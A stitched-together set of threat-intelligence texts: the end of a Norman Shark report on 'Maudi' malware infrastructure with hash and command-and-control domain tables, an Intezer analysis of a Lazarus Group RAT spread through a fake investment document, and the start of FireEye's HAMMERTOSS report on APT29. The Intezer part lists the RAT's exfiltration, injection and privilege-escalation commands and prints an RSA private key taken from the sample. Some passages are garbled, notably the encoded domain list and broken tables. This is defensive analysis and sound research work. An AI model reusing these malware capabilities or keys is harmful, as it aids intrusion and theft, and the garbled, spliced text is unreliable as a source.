There is a possibility that this indicates a large group of attackers, but might also be a part of a Digital Quartermaster function, as recently postulated by FireEye (9).
13   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k References 1.
Windows Incident Response.
Its those darned DLLs again... . [
Online] http://windowsir.blogspot.no/2010/08/its- those-darned-dlls-again.html.
2.
Villeneuve, Nart.
Human Rights and Malware Attacks.
[
Online] http://www.nartv.org/2010/07/29/human-rights-and- malware-attacks/.
3.
Fagerland, Snorre.
PlugX used against Mongolian targets.
Norman Shark Blog.
[
Online] http://normanshark.com/blog/plugx-used-mongolian-targets/.
4.
Branco, Rodrigo.
Into the Darkness: Dissecting Targeted Attacks.
[
Online] https://community.qualys.com/blogs/securitylabs/2011/11/30/dissecting-targeted-attacks.
5.
Cutler, Silas.
The Mirage Campaign.
[
Online] http://www.secureworks.com/cyber-threat-intelligence/threats/the- mirage-campaign/.
6.
Stewart, Joe.
The Sin Digoo Affair.
[
Online] http://www.secureworks.com/cyber-threat-intelligence/threats/sindigoo/.
7.
Trend Micro, Inc. 2Q Report on Targeted Attack Campaigns.
[
Online] http://about-threats.trendmicro.com/ent- primers/2q-report-on-targeted-attack-campaigns.
8.
Command Five Pty Ltd. Command and Control in the Fifth Domain.
www.commandfive.com.
[
Online] http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf.
9.
Moran, Ned and Bennett, James T. Supply Chain Analysis: From Quartermaster to Sunshop.
[
Online] http://www.fireeye.com/resources/pdfs/fireeye-malware-supply-chain.pdf.
14   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k MD5 CC domain Signed PoisonIvy Profile ID Port 14e04fcd7d769512b8a5e6e4905cd541 xboyu.dlinkddns.com 20120508 spy0611 8080 68fbf9f48878ccd4d5addb255aea62d1 xboyu.dlinkddns.com 20120508 za_germany 8080 bf50a4810e1bd9485822ec026fbcc176 xboyu.dlinkddns.com 20120508 201205 8080 cc2397095e848f585970f1224bc24313 wang981200.3322.org 20120508  3460 d049654602597df24ca07c3bce885e8d updatewin.3322.org 13CeleWare.
NET h511b0 8000 09d07702e68abcfd6ab092e3c07624a6 127.0.0.1 360SEhotmail.com xfish 3460 4390c478c960c09c7a1a745a2fc14059 zeropan007.3322.org 360SEhotmail.com 0912 80 4b7f6d184952b6cd7a793b620d04f94d 8852.vicp.cc 360SEhotmail.com xfish 3461 740828346fa3b403255fa50f24de0b33 qytianzheng.3322.org 360SEhotmail.com xfish 3460 937f44857ab11320e3f73bbde559d019 220.175.13.250 360SEhotmail.com xfish 8080 a48bd91396b98124cc278221f96fdf7c 127.0.0.1 360SEhotmail.com xfish 9090 ccbb7928ae3b53464690d523860fbeb4 zeropan007.3322.org 360SEhotmail.com new 8080 da7e73ad2092ecf4aba68d7934df6d85 127.0.0.1 360SEhotmail.com xfish 3460 01c1481a275c11f16979cad33975205a asiondragon2008.3322.org JinDiQIAOhotmail.com  v1752 3460 03287af69ef4828b1d1e6664eafe7cc1 yanfengjiaoxp.gicp.net JinDiQIAOhotmail.com  xfish 10012 04f16f2729d7c3347deb747fb06c4e5a mail.lufare.com JinDiQIAOhotmail.com  xz880 8080 0c3963e90c6652b17f0f31c6821d41b0 bmw.webhop.net JinDiQIAOhotmail.com  xlsxx 80 0f9d9caa21e3cf2dcdca14e3d7ccc337 q944642367.gicp.net JinDiQIAOhotmail.com  kor 6666 0fc9ed37c5cca5bfb726718c77cb7b0d yanfengjiaoxp.gicp.net JinDiQIAOhotmail.com  xfish 10012 106ae2f5128e9d54334b82f6e16ebd84 2yanfengjiaoxp.gicp.net JinDiQIAOhotmail.com  yanf  10010 1321e4bbcf0ec423d2fd4c556c7a10a9 news.lufare.com JinDiQIAOhotmail.com  xnl80 80 150aaf3de22afbb13a443be33123e411 2yanfengjiaoxp.gicp.net JinDiQIAOhotmail.com  yanf 10010 216011f19981aedf78346d5a7e59d318 services.servebbs.org JinDiQIAOhotmail.com  IN 443 22e81ed5f4b3e8bb109a328c43e50b78 cttwxsw.gicp.net JinDiQIAOhotmail.com  xfish 80 24f1ccbc64587281be2ff87d3ef0c381 sophia.8800.org JinDiQIAOhotmail.com  mayul 8080 28b5241ca13603636dbf626792231161 qwer.wekby.com JinDiQIAOhotmail.com  qwerw 80 2977209445d17781f793e7a684be9bb8 jiang2368131.3322.org JinDiQIAOhotmail.com  dos 6666 2addee24fabdcb6f210140bc7e65502b black203.blogdns.com JinDiQIAOhotmail.com  lfish 3009 2dca87e53573148ff4f8238f39004271 2yanfengjiaoxp.gicp.net JinDiQIAOhotmail.com  yanf 10010 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NET flg 80 74eabedd7a9bce6973f5ac5d2e1404c5 hqhaha.hk221.hqidc.net VerySignCeleWare.
NET pdf 80 f554c212f314e15388e33a62ce88cd34 hqhaha.hk221.hqidc.net VerySignCeleWare.
NET zd 80 1042efb418f845f362f302b63d4d3c77  yangjinxiu.vicp.net  12345 80 d9203e00ff7b2edb01f52b378e3386be 127.0.0.1  xfish 3460 7d4d78d1dacfeaad46c6506522ad61c2 xiaoya.oicp.net  12345 80 95881cd633b682cda181d22b5f5efc12 zooosi.com  12345 80 ba9d43b3f1e81e0cca615e19a0f20bdc veidu.uicp.net  12345 80 f3f29866a50b82da0eee22b016af5bdc sunnyrone.coyo.eu  12345 80 24   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k 1855 1st Ave.,
Suite 201 San Diego, CA 92101 USA 1.888.466.6267 Strandveien 37 Lysaker, Norway 47.67.10.97.00 www.normanshark.com http://www.normanshark.com/ Malware5sample xboyuTdlinkddnsTcom wangYVDQJJTIIQQTorg updatewinTIIQQTorg zeropanJJBTIIQQTorg VVOQTvicpTcc qytianzhengTIIQQTorg QQJTDBOTDITQOJ asiondragonQJJVTIIQQTorg yanfengjiaoxpTgicpTnet mailTlufareTcom bmwTwebhopTnet qYAAHAQIHBTgicpTnet QyanfengjiaoxpTgicpTnet newsTlufareTcom servicesTservebbsTorg cttwxswTgicpTnet sophiaTVVJJTorg qwerTwekbyTcom jiangQIHVDIDTIIQQTorg blackQJITblogdnsTcom infasdTcrabdanceTcom QQQTDIATAQTHQ wangQIHVDIDTgicpTnet mailTsufareTcom surpriseingThomeftpTorg DDBTAJTQIYTQJ DQITDODTDYITQIH dfHDDTgicpTnet IHJliveupdateTcom dongtaiwangTvicpTnet appleTbuypnTcom qqYJBAIIVDOTIIQQTorg smVVVTVVJJTorg okiaTIIQQTorg dnsxyzTwebhopTnet northsinceThomelinuxTorg bysexTmoooTcom yahooforusaTvicpTnet qwerTcrabdanceTcom yzkkerTIIQQTorg oaTsanymhTcom blackQJATdyndnsEworkTcom dynEmicrosoftTblogdnsTnet boyfriendDJDTkicksEassTorg fhTbuypnTcom dongdongHJITIIQQTorg subscriptionTdyndnsEhomeTcom aOgDBmailTIIQQTorg userQJDDTVVJJTorg catTaumoniTcom wwwHTintarnetserviceTcom dnsxyzTdyndnsTbiz wangQIHVDIDTgnwayTnet wqdfTIIQQTorg DDATQJQTQTVI pThannmaillTnet lQJJYlQJJYDTIIQQTorg myloverTdyndnsEfreeTcom stopQJATIIQQTorg friendDJDTBBHHTorg sThiinetTnet rabitTaumoniTcom managerTserveblogTnet leftpaperTdyndnsTbiz xkTbuypnTcom mysqlTsqlJDTcom wuliaoHBVTVVHHTorg xcTwinniqiTcom singleTdyndnsTbiz yunlongDQITIIQQTorg yhmQJJHJIIJTIIQQTorg BQBHJYHYITgnwayTnet shinubiTchickenkillerTcom missonTmysqDTnet dnsluckTIIQQTorg hostnameTdyndnsEmailTcom indiaarmyTdjkccTcom kfcmakelcTzaptoTorg worldnewsTzaptoTorg blogTcnmgdTorg dnsabcdTdyndnsTbiz singleTdyndnsTinfo dnsabcTIIQQTorg hhccIHOTzaptoTorg bbsTavjkvTcom DBDJVVJAHTgnwayTnet limingliangDYVVTgnwayTnet DBDJVVJAHTgnwayTorg richEyongTgnwayTnet IBDHDDDQDTgnwayTnet DDVTDYATQIVTAI imacarpeTdyndnsTtv hostnameTwebhopTnet whitebirdTdyndnsTorg gameTwinniqiTcom configureTselfipTorg dnsabcTwebhopTnet ytTbodologeteeTcom wwwTwindowsliveupdatecacheTcom qqpassTkittyeahTcom wwwTwindowsEliveupdateTcom bbaolongTvicpTnet zfyxuTgicpTnet xyxfDDJTIIQQTorg jiangshanQIHVDIDTIIQQTorg bafeiteODVTvicpTnet wwwTzoneTqpoeTcom terryJBJBTvicpTcc axnaTODHHTinfo atnehTvicpTnet wwwTmolEgovernmentTcom wwwTnewsyandexTcom longDQIOTIIQQTorg monalisaVVDVVTIIQQTorg asionEQJJYTgicpTnet nsQTadultstickTcom iamflyingTIIQQTorg OYTOJTYYTVI paladinHHHTgicpTnet sbwfnJJBTIIQQTorg freedomVYHATddnsTinfo heiantiankongTgicpTnet DQITDODTDYQTDJO hhEmrTgicpTnet funJDJTvicpTnet iamflyingTvicpTnet tigertigertiger tigertigertigerTIIQQTorg liyanyanzyTIIQQTorg liyanyanzyTtk tbEQJDDJDDQTIIQQTorg hqhahaThkQQDThqidcTnet yangjinxiuTvicpTnet xiaoyaToicpTnet zooosiTcom veiduTuicpTnet sunnyroneTcoyoTeu QJDQJOJV DICeleWareTNET IHJSEhotmailTcom JinDiQIAOhotmailTcom softhotmailTcom SoftSignHotMailTcom CeleSignhotmailTcom DataBaseHotmailTcom goodwhotmailTcom lakergmailTcom microCeleWareTNET microsoftCeleWareTNET microsofthotmailTcom xyblackgmailTcom xfishhotmailTcom wugonghotmailTcom springhotmailTcom qianmingCeleWareTNET mogolsoftHotmailTcom VerySignCeleWareTNET csfoxTIIQQTorg YNK5JAPAN5Inc dogTaumoniTcom tbVJDTcoTcc olkATIIQQTorg Code5signing5certificate Command4Control5domain The5Maudi5Infrastructure
March 28, 2018 Lazarus Group Targets More Cryptocurrency Exchanges and FinTech Companies intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/ Blog Cybersecurity DNA Introduction Cyber attacks from the Lazarus Group, a threat actor associated with North Korea, has not slowed down and their malware toolset continues to evolve.
A few months ago, we published a general research of the Lazarus Group and the Blockbuster campaign including code reuse and similarities throughout their malware up until the latest news regarding targeting bitcoin and cryptocurrency exchanges.
In recent attacks, the Lazarus Group has been spreading malicious documents with a RAT embedded inside that gets executed through a VBA  macro.
These malicious documents contained a job description for different positions in various industries.
Through our research, we came across a new malicious document where we have found changes and a continuation to their campaign targeting potential cryptocurrency exchanges, FinTech, financial companies, and others who might be involved with cryptocurrencies.
The malicious document came embedded with an upgraded and revamped version of a RAT they have added to their arsenal.
Infection Vector The malicious documents original creation name is Investment Proposal.doc and attempts to impersonate an employee of an Australia based law firm for commercial and financial services 1/18 http://www.intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/ named Holley Nethercote.
The document states that they have evaluated several cryptocurrencies and they have put together an investment proposal aimed at FinTech, financial, and other companies who might be interested in taking an investment.
As can be seen in the photos of the document below, the document is of very low quality, meaning there are inconsistencies and typos everywhere in a document supposedly from a law firm.
The first page contains a basic description of what the investment proposal involves.
Take note of the name Kate Harris, a director from Holley Nethercote, by whom the document was 2/18 supposedly written.
The second page is a general description of the company Holley Nethercote which is directly taken from the first page of a PDF on the companys website.
3/18 https://www.hnlaw.com.au/site/DefaultSite/filesystem/documents/2017/Combined NEW HN-Compact-Fact Sheet 2017-12-20.pdf The third page is a list of their employees and staff as can also be found on their website.
Remember Kate Harris, the director, from before?
Shockingly enough, she does not exist on this list.
4/18 https://www.hnlaw.com.au/people The fourth page contains a chart of various cryptocurrencies and random values associated with them.
The interesting point here is the date of a Bitcoin price that it mentions from February 9th, 2018 which helps us put on a timeline of when this malicious document was originally created.
5/18 The fifth page states how they would like to invest 50M in the company that received this document and contains some typos like out instead of our and other grammatical errors.
6/18 The sixth page is a very poorly written document supposedly signed by the CEO of Holley Nethercote involving the investment proposition.
It also contains various typos and grammatical errors with the general flow not making sense.
7/18 The seventh and last page contains some fake contact information including a phone number from the UK that is from an online service that allows you to receive an SMS through the website.
Technical Details Upon launching the document, an obfuscated VBA macro is executed to drop and execute an embedded remote access tool.
8/18 (embedded VBA macro) The embedded RAT is dropped to and executed from USERPROFILE\RuntimeBroker.exe.
More evidence besides the date in the content of the document, pointing to this malware out in February is that we can also see the compilation timestamp is from February 14, 2018 and the upload date was on March 2, 2018.
After uploading the RAT to Intezer Analyze, we found 4 of the code to have been used in previous malware attributed to the Lazarus group, but 85 of the code base is completely unique.
This says to us that they made some changes to their code.
(
https://analyze.intezer.com//analyses/ffb3993e-d646-42ad-8449-104d751cc17b) The first code that gets executed within the RAT first decrypts a locally created, XOR encrypted buffer of names of modules and imports that it resolves via GetProcAddress.
Resolving the binarys own imports in this manner is very common in many of the previous 9/18 https://analyze.intezer.com//analyses/ffb3993e-d646-42ad-8449-104d751cc17b Lazarus attributed malware.
Next, the RAT creates a shortcut of itself to USERPROFILE\Start Menu\Programs\Startup\RuntimeBroker.lnk in order to maintain persistence and sets the attributes of itself using SetFileAttributesW to HIDDEN  SYSTEM  NORMAL.
Inside of the function that is used for setting up the persistence, we can find a call to a function that is responsible for decrypting a buffer containing multiple wide strings used throughout the binary.
10/18 As can be seen in the function, it uses a very basic decryption routine to decrypt the locally stored buffer.
The decrypted buffer is as follows: 11/18 The parameter to the function responsible for decrypting this buffer is an offset to grab a string from this decrypted buffer by multiplying it by two, since these are wide strings.
Strangely enough, a lot of these strings are not used anywhere in the binary.
By the strings, you can see there is an intention of including a simple anti-VM technique to detect VirtualBox.
There is also one more function located within the binary, responsible for the same functionality with a different buffer containing different strings.
Following all of this, the RAT then creates a backdoor which then waits to receive commands from the various CC servers.
12/18 The CC handler used to follow a pattern of command IDs but it appears to have changed to random command values and contains commands with new functionality.
Their handler is able to handle 22 different commands and the descriptions of each can be found in the chart below.
Command ID Functionality 0xF4004A Execute cmd.exe and output results to temp file or retrieve CD via GetCurrentDirectoryW.
Cmd.exe /c cmd  temp file 21 0x460017 Collect various information about the hard drive such as the space and volume information 0x7C00E6 Collect various information about the computer such as the computer name, username, host name, and more.
0x6400E5 Creates new process via CreateProcessW 0xBE007B Collect data about running processes by traversing the process list via CreateToolhelpSnapshot32 related APIs 0x8500AF Terminates a process by name 0xC004B Gets specific file(s) data such as filenames, times, and attributes 0xD7007C Collects a file and sends it to the CC 0x3300E2 Zips file(s) to temp and sends archive to CC 0x9D00B0 Write a file received from the server 0x200DF Write a 5mb file with random bytes 13/18 0x2E0016 Deletes files 0x6C00AE Overwrites entire file(s) contents with 0xCC and then deletes the file 0xFD0013 Recursively traverse directory collecting file information 0x3C00AB Checks if socket write access is valid to a given address 0x4B00E3 Sets file(s) time via SetFileTime 0xE50012 Configuration 0x5400AC Updates socket configuration 0x1B00E1 Renames file and sets attributes 0x750077 Elevate process privileges 0xCC0010 Inject code received by server into process 0x150014 Pong response to ping The binary uses wolfSSL to encrypt the network traffic containing two different certificates and one private key.
The certificates are stored in a local buffer of a function located within the binary.
-----BEGIN CERTIFICATE----- MIIDYjCCAkqgAwIBAgIIAT8TuSzaBG4wDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE BhMCVVMxGTAXBgNVBAoMEEdsb2JhbFNpZ24gbnYtc2ExPDA6BgNVBAMMM0dsb2Jh bFNpZ24gT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gQ0EgLSBTSEEyNTYgLSBHMjAi GA8yMDE3MDkyNDA3MDMzOFoYDzIwMTkwMjA3MDcwMzM4WjBmMQswCQYDVQQGEwJV UzEZMBcGA1UECgwQR2xvYmFsU2lnbiBudi1zYTE8MDoGA1UEAwwzR2xvYmFsU2ln biBPcmdhbml6YXRpb24gVmFsaWRhdGlvbiBDQSAtIFNIQTI1NiAtIEcyMIIBIjAN BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvwzKLRSyHoRCW804H0ryTXUQ8bY1 n9/KfQOY06zeA2buKvHYsH1uB1QLEJghTYDLEiDnzE/eRX3Jcncy6sqQu2lSEAMv qPOVxfGLYlYb72dvpBBBla0KmOlwLDScHZQMFuo6AgsfO2nonqNOCkcrMft8nyV sJWCfUlcOM13Je9gHVTlDw9ymNbnxW10x0TLxnRPNt2Osy4fcnlwtfaQG/YIdxz G0ItU5zGvx9q3o2P5jehHwFZ85qFDiHqfGMtWjLaH9xICv1oGP1VijJtK3b7Fa F9c4mQjk1hv/sMTSQgWC6dNZwBSMWcjTpjtUUUduQTZCzYKLNLve02eQIDAQAB oxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQA261N1CtZuZ4Mf 5QKghudGcpsG2X1UzQ8eZqYK6xmIClKWSQ3EhWB19zor2dOOb2fRJ4iw72Lhy 14/18 cH57R84whQSqqY9tqjwwulavMAzdBlz3RqsnAqdL5C6jeEfJmxmymH4Jz6kqJbCh H1LVp6ToJlYA0QoCxkMqe6jCWE5K8QefM/kx8WhROJTdHHUKjFXFmon/fIJUAxo SesxW3YPeY7zzBUIjh0lYMhiyvXMDIMLo9zewR2nfi3aAaAPwAulTjm46dbH4K cn7jc8IOt954R5jakc0AhtSZUHlPqKKHZy19iDfpcoFA7L/WuiNkfYPvN6eaxAvA b3dxfi8N -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDgTCCAmmgAwIBAgIIAUyTG93zLTEwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE BhMCVVMxGTAXBgNVBAoMEEdsb2JhbFNpZ24gbnYtc2ExPDA6BgNVBAMMM0dsb2Jh bFNpZ24gT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gQ0EgLSBTSEEyNTYgLSBHMjAi GA8yMDE3MDkyNDA3MDUyMVoYDzIwMTkwMjA3MDcwNTIxWjCBljELMAkGA1UEBhMC VVMxEDAOBgNVBAgMB05ld1lvcmsxEzARBgNVBAcMClJpdmVyIFZpZXcxIzAhBgNV BAoMGldpa2ltZWRpYSBGb3VuZGF0aW9uLCBJbmMuMRgwFgYDVQQDDA8qLndpa2lw ZWRpYS5vcmcxITAfBgkqhkiG9w0BCQEWEmluZm9Ad2lraXBlZGlhLm9yZzCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMMD0SvOaQyRTtTyIQrKnx0mr2q KlIHR9amNrIHMo7Quml7xsNEntSBSP0taKKLZ7uhdcg2LErSG/eLus8Ne/s8YEe e5sDR5q/Zcx/ZSRppugUiVvkNPfFsBST9Wd7Onp44QFWVpGmE0KN0jxAnEzv0Ybf N1EbDKE79fGjSjXk4c6W3xtv06X0BDoqAgwga8gC0MUxXRntDKCb42GwohAmTaD uh5AciIX11JlJHOwzu8Zza7/eGx7wBID1E5yDVBtO6M7o5lencjZDIWz2YrZVCbb bfqsu/8lTMTRefRx04ZAGBOwY7VyTjDEl4SGLVYv1xX3f8Cu9fxb5fuhutMCAwEA ATANBgkqhkiG9w0BAQsFAAOCAQEAGjef4dfuIkF7MdfLs4x5KqzM4/5h1lSSWS ojTaAuH21pGgVV4vfGB9QVxoTDkcp5wWjw184xP19FjioucUUOmFmD7BERXX V4NZMv/TwucAbRIb6/FRv13Koigi05tIhXesownpbMZq7p6I9P9GAd/Uu7XCMTPO UHpuTtNoItjwwBhZK0XXp5ORdHKWbXfLXQgiCXLPJntKdrRnUzJpXvYQzTeZKxf dQmjS8QN8IFtvBuprb3grAhm/wVueerTcM/wyBOu/7gg0J7CsjztqtomIHYAbpi 15/18 x5pf3b6mzKG72ibnaKgL29wur5Cs8in9d8/kOxgTpWbzZc35A -----END CERTIFICATE----- -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAwwPRK/45pDJFO1PIhCsqfHSavaoqUgdH1qY2sgcyjtC6aXvG w0Se1IFI/S1oootnu6F1yDYsStIb94u6zw357zxgR57mwNHmr9lzH9lJGmm6BSJ WQ098WwFJP1Z3s6enjhAVZWkaYTQo3SPECcTO/Rht83URsMoTv18aNKNeThzpbf G36/TpfQEOioCDCBryALQxTFdGe0MoJvjYbCiECZNoO6HkByIhfXUmUkc7DO7xnN rv94bHvAEgPUTnINUG07ozujmV6dyNkMhbPZitlUJtttqy7/yVMxNF59HHThkAY E7BjtXJOMMSXhIYtVi/XFfd/wK71/Fvl6G60wIDAQABAoIBAQCi5thfEHFkCJ4u bdFtHoXSCrGMR84sUWqgEp5T3pFMHW3qWXvyd6rZxtmKq9jhFuRjJv1bBNZuOOl yHIXLgyfbVZP3ZvSbERwlouFikN3reO3EDVou7gHqH0vpfbhmOWFM2YCWAtMHac PM3miO5HknkLWgDiXl8RfH35CLcgBokqXf0AqyLh8LO8JKleJg4fAC3IZpTW23T K6uUgmhDNtj2L8Yi/LVBXQ0zYOqkfX7oS1WRVtNcV48flBcvqt7pnqj0z4pMjqDk VnOyz0GxWk88yQgi1yWDPprEjuaZ8HfxpaypdWSDZsJQmgkEEXUUOQXOUjQNYuU bRHej8pZAoGBAOokp/lpMlx3FJ9iCEoL0neunIW6cxHeogNlFeEWBY6gbA/osm bB6wBikAjd3dqzbysfZXps/JpBSrvw4kAAUu7QPWJTnL2pHE9BIdQxWR9OihqN p1dsItjl9H4yphDLZKVVA4emJwWMw9e2J7JNujDaR49U0z2LhI2UmFilAoGBANU4 G8OPxZMMRwtvNZLFsI1GyJIYj/WACvfvof6AubUqusoYsF2lB9CTjdicBBzUYo6m JoEB/86KKmM0NUCqbYDeiSNqV02ebq2TTlaQC22dc4sMric93k7wqsVseGdslFKc N2dsLe7r9mkDzER8Nlp6YqbSfxaZQ3LPw3QXAoGAXoMJYr26fKK/QnT1fBzS ackEDYVPj0kEsMYe/Mp818OdmxZdeRBhGmdMvPNIquwNbpKsjzl2Vi2Yk9d3uWe CspTsiz3nrNrClt5ZexukU6SIPb8/Bbt03YM4ux/smkTa3gOWkZktF63JaBadTpL 78c8Pvf9JrggxJkKmnOwxkCgYEAukSTFKw0GTtfkWCs97TWgQU2UVM96GXcry7c YT7Jfbh/h/A7mwOCKTfOck4R1bHBDAegmZFKjX/sec/xObXphexi99p9vGRNIjwO 8tZR9YfYmcARIF0PKf1b4q7ZHNkhVm38hNBf7RAVHBgh58Q9S9fQnmqVzyLJA3ue 16/18 42AB/C8CgYAR0EvPG2e5nxB1R4ZlrjHCxjCsWQZQ2Q1cAb38NPIYnyo2m72IT/T f1/qiqs/2Spe81HSwjA34y2jdQ0eTSE01VdwXIm/cuxKbmjVzRh0M06MOkWP5pZA 62P5GYY6Ud2JS7DzZ9dKJU4vjWrylznk1M0oUVdEzllQkahn831vw -----END RSA PRIVATE KEY----- Conclusion As we can see, the Blockbuster campaign and the Lazarus group are still active and have shown a continued interest in cryptocurrencies and companies surrounding cryptocurrency.
Numerous exchanges are believed to have been hacked by the Lazarus group and there has been a significant amount of money stolen by doing so.
Since their efforts have been so successful, it does not look like they will slow down anytime soon with these types of targets.
IoCs Malicious Document 6b424d75445b3dabfb9b20895d0a1ce1430066ce7f3fcd87aa41fa32260ff92d RAT  f8b329fc1f4d50f5509a72c1f630155538f4d2c6e49b80ce4841fada6547c4bd CCs 182.56.5.227 222.122.31.115 66.99.86.8 210.61.8.12 62.215.99.90 By Jay Rosenberg Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years old), specializing in Reverse Engineering and Malware Analysis.
Currently working as a Senior Security Researcher in Intezer.
Share: Register to our free community Try it now 17/18 https://analyze.intezer.com//analyses/ffb3993e-d646-42ad-8449-104d751cc17b https://www.addtoany.com/add_to/facebook?linkurlhttps3A2F2Fwww.intezer.com2Flazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies2FlinknameLazarus Group Targets More Cryptocurrency Exchanges and FinTech Companies https://www.addtoany.com/add_to/twitter?linkurlhttps3A2F2Fwww.intezer.com2Flazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies2FlinknameLazarus Group Targets More Cryptocurrency Exchanges and FinTech Companies https://www.addtoany.com/add_to/linkedin?linkurlhttps3A2F2Fwww.intezer.com2Flazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies2FlinknameLazarus Group Targets More Cryptocurrency Exchanges and FinTech Companies https://analyze.intezer.com/ Intezer.com 2017 All rights reserved 18/18 Lazarus Group Targets More Cryptocurrency Exchanges and FinTech Companies Blog Cybersecurity DNA Introduction Infection Vector Technical Details Command ID Functionality Conclusion IoCs CCs Register to our free community
HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group S P E C I A L  R E P O R T SECURITY REIMAGINED F I R E E Y E  T H R E A T  I N T E L L I G E N C E JULY 2015 HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 22 CONTENTS HAMMERTOSS 3 APT29 5 Introducing HAMMERTOSS 6 Five Stages of HAMMERTOSS 6 Stage 1: The Communication Process Begins with Twitter 7 Figure 1:  HAMMERTOSS calls out to a Twitter handle 7 Stage 2: Tweeting a URL, Minimum File Size of an Image, and Part of an Encryption Key 8 Figure 2: Learning the URL, image size, and encryption key 8 Figure 3: Twitter page for d3109c83e07dd5d7fe032dc80c581d08 9 Stage 3: Visiting GitHub to Download an Image 10 Figure 4: The active Twitter account in our sample contained a GitHub URL and a related GitHub page with image containing encrypted data 10 Stage 4: APT29 Employs Basic Steganography 11 Figure 5: Encrypted data appended beyond the FF D9 JPEG End of File marker 11 Stage 5: Executing Commands and Uploading Victim Data 12 Figure 6: Executing Commands and Removing Data 12 Conclusion 13 Difficulty Identifying Accounts, Discerning Legitimate and Malicious Traffic, and Predicting the Payload APT29: An Adaptive and Disciplined Threat Group 13 HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 3333 Using a variety of techniquesfrom creating algorithms that generate daily Twitter handles to embedding pictures with commandsthe developers behind HAMMERTOSS have devised a particularly effective tool.
The Russian cyber threat groups that we monitor frequently design innovative ways to cover their tracks.
In early 2015, we came across stealthy malwarewhich we call HAMMERTOSSfrom an advanced persistent threat group that we suspect the Russian government sponsors.
We designate this group APT29.
Using a variety of techniquesfrom creating an algorithim that generates daily Twitter handles to embedding pictures with commandsthe developers behind HAMMERTOSS have devised a particularly effective tool.
APT29 tries to undermine the detection of the malware by adding layers of obfuscation and mimicking the behavior of legitimate users.
HAMMERTOSS uses Twitter, GitHub, and cloud storage services to relay commands and extract data from compromised networks.
HAMMERTOSS 4 HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 1.
Retrieving commands via legitimate web services, such as Twitter and GitHub, or using compromised web servers for command-and- control (CnC).
2.
Visiting different Twitter handles daily and automatically.
3.
Using timed starts communicating after a specific date or only during the victims workweek.
4.
Obtaining commands via images containing hidden and encrypted data.
5.
Extracting information from a compromised network and uploading files to cloud storage services.
While none of these tactics are new, the combination of these techniques piqued our interest.
HAMMERTOSS works by: HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 55 APT29 has been operating in its current form since at least late 2014.
We suspect the Russian government sponsors the group because of the organizations it targets and the data it steals.
Additionally, APT29 appeared to cease operations on Russian holidays, and their work hours seem to to align with the UTC 3 time zone, which contains cities such as Moscow and St. Petersburg.
While other APT groups try to cover their tracks to thwart investigators, very few groups show the same discipline and consistency.
APT29 Similarly, few groups display the ability to adapt to network defenders attempts to mitigate its activity or remove it from victim networks.
For example, APT29 almost always uses anti-forensic techniques, and they monitor victim remediation efforts to subvert them.
Likewise, the group appears to almost solely uses compromised servers for CnC to enhance the security of its operations and maintains a rapid development cycle for its malware by quickly modifying tools to undermine detection.
These aspects make APT29 one of the most capable APT groups that we track.
(
UTC  02/MSK-1) (UTC  10/MSK7)(UTC  09/MSK6)(UTC  08/MSK5)(UTC  07/MSK4)(UTC  06/MSK3)(UTC  05/MSK2)(UTC  04/MSK1)(UTC  03/MSK) (UTC  11/MSK8) (UTC  12/MSK9) KALININGRAD TIME MOSCOW TIME YEKATERINBURG TIME OMSK TIME KRASNOYARSK TIME IRKUTSK TIME YAKUTSK TIME VLADIVOSTOK TIME SREDNEKOLYMSK TIME SAMARA TIME KAMCHATKA TIME HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 66 4.
The image looks normal, but actually contains hidden and encrypted data using steganography.
HAMMERTOSS decrypts the hidden data to obtain commands.
W e first identified HAMMERTOSS in early 2015.
APT29 likely used HAMMERTOSS as a backup for their two primary backdoors to execute commands and maintain access if the groups principal tools were discovered.
We have identified two HAMMERTOSS variants that give APT29 alternative ways to communicate with the malware.
The developer appears to name these variants uploader and tDiscoverer.1  Both variants are written in the C programming language.
Each variant uses different methods to acquire CnC instructions, either by directly accessing a hard-coded website or accessing Twitter as an intermediary.
Uploader is preconfigured to use a hard-coded server for its CnC.
It goes to a specific URL to obtain an image with a specific file size.
tDiscoverer uses an additional layer of obfuscation by first going to Twitter to obtain a CnC URL, before visiting the URL to acquire its target image.
INTRODUCING HAMMERTOSS We will focus on tDiscoverer in this report.
Five Stages of HAMMERTOSS We have broken down the malware communication process into five stages to explain how the tool operates, receives instructions, and extracts information from victim networks.
The stages include information on what APT29 does outside of the compromised network to communicate with HAMMERTOSS and a brief assessment of the tools ability to mask its activity.
1 The tDiscoverer variants were originally named tDiscoverer.exe, and the Uploader variants had a debug path containing uploader.pdb.
3.
HAMMERTOSS visits the URL and obtains an image.
5.
HAMMERTOSS processes the decrypted commands, which may instruct the malware to conduct reconnaissance, execute commands via PowerShell, or upload data to a cloud storage service.
Note: The images are stock photography and were not used by the group.
1.
The HAMMERTOSS backdoor generates and looks for a different Twitter handle each day.
It uses an algorithm to generate the daily handle, such as 234Bob234, before attempting to visit the corresponding Twitter page.
